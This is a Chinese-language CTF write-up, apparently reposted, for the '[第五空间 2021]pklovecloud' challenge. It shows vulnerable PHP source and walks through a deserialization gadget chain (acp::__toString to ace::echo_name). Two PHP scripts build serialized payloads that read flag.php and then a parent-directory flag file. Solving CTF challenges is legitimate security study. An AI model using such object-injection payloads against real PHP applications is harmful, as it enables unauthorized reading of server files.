过程
打开题目,一道关于php反序列化的的代码审计问题。源码如下:
<?php
include 'flag.php';
class pkshow
{
function echo_name()
{
return "Pk very safe^.^";
}
}
class acp
{
protected $cinder;
public $neutron;
public $nova;
function __construct()
{
$this->cinder = new pkshow;
}
function __toString()
{
if (isset($this->cinder))
return $this->cinder->echo_name();
}
}
class ace
{
public $filename;
public $openstack;
public $docker;
function echo_name()
{
$this->openstack = unserialize($this->docker);
$this->openstack->neutron = $heat;
if($this->openstack->neutron === $this->openstack->nova)
{
$file = "./{$this->filename}";
if (file_get_contents($file))
{
return file_get_contents($file);
}
else
{
return "keystone lost~";
}
}
}
}
if (isset($_GET['pks']))
{
$logData = unserialize($_GET['pks']);
echo $logData;
}
else
{
highlight_file(__file__);
}
?>
可以看到,通过ace->echo_name()函数,可以调用到file_get_contents来读文件;acp->__toString()魔术方法中有通过其cinder属性对echo_name()的调用,且__construct()会创建cinder为一个对象;
于是初步构造payload:
<?php
class ace{
public $filename;
public $openstack;
public $docker;
}
class acp
{
protected $cinder;
public $neutron;
public $nova;
function __construct()
{
$this->cinder = new ace;
}
}
$a = new acp();
echo urlencode(serialize($a));
还不够,目前只是构造了一个acp的对象$a,$a序列化为字符串,又传给了服务端进行反序列化为$logData,反序列化过程中,使其cinder属性为一个ace对象,之后对$logData的echo又触发了_toString,从而调用$logData->$cinder->echo_name(),下面是echo_name()
function echo_name()
{
$this->openstack = unserialize($this->docker);
$this->openstack->neutron = $heat;
if($this->openstack->neutron === $this->openstack->nova)
{
$file = "./{$this->filename}";
if (file_get_contents($file))
{
return file_get_contents($file);
}
else
{
return "keystone lost~";
}
}
}
将this的docker属性反序列化赋值给this的openstack,此时的this指的是$logData->$cinder,之后又要令openstack的nova属性(这是我们可控的)与neutron属性(这是$heat,我们所不知的)使这二者相等(===)才能bypass比较进而任意读文件。这里不知道$heat,猜$heat肯定是行不通的,也不是解法。
其实通过上面payload1,就能够得到“keystone lost~”,也就是说这里的判断已经bypass了,进入到了判断file_get_contents是否成功的环节。上面分析我们知道,echo_name()里的this就是cinder,cinder是通过构造函数创建的,docker这些属性都是空的,反序列化自然也是NULL,后续的判断自然绕过了。于是在payload1的基础上添加filename即可。
<?php
class ace{
public $filename;
public $openstack;
public $docker;
}
class acp
{
protected $cinder;
public $neutron;
public $nova;
function __construct()
{
$this->cinder = new ace;
$this->cinder->filename = "flag.php";
}
}
$a = new acp();
echo urlencode(serialize($a));
拿到flag的提示,/nssctfasdasdflag,但是在上一级,即…/nssctfasdasdflag;修改即可。文章来源:https://www.toymoban.com/news/detail-629707.html
acquisition
- php反序列化链的构造
reference
https://www.yuque.com/yuxiazhengye-gttya/klsv75/nahbfkacs464nua3
https://www.nssctf.cn/note/set/2527文章来源地址https://www.toymoban.com/news/detail-629707.html
到了这里,关于[第五空间 2021]pklovecloud 解题思路&过程的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!